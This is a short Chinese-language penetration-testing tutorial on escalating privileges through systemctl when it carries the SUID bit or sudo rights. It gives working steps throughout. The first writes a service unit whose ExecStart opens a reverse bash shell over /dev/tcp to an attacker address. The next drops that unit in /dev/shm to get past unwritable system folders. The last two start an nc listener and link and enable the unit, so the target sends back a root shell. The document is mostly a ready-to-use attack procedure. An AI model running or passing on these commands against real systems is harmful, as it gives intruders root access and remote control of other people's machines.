當systemctl具備suid位或sudo權限時,可以用來進行提權。
一、首先編寫一個service unit用來被systemctl加載
echo '[Service] Type=oneshot ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1" [Install] WantedBy=multi-user.target' > mm.service #生成的unit名位mm.service
二、把unit放置在合適的位置
通常unit存放在/usr/lib/systemd/system/
和 /etc/systemd/system/,可以被systemctl加載執行,但是滲透過程中需要提權的場景往往權限較小,這些目錄不可寫。而systemctl的特性決定了,當unit在/tmp目錄下時,無法被systemctl加載。這里需要掌握一個神奇的目錄:/dev/shm/,關於這個目錄的解讀可以移步:https://www.cnblogs.com/tinywan/p/10550356.html學習掌握。這里就可以把我們生成的unit文件放置再這個目錄
三、攻擊機上啟動監聽
nc -lvnp 9999
四、被攻擊機器執行下列命令啟動我們寫好的service unit
systemctl link /dev/shm/mm.service
systemctl enable --now /dev/shm/mm.service
這個時候可以在攻擊機上看到反彈回的高權限shell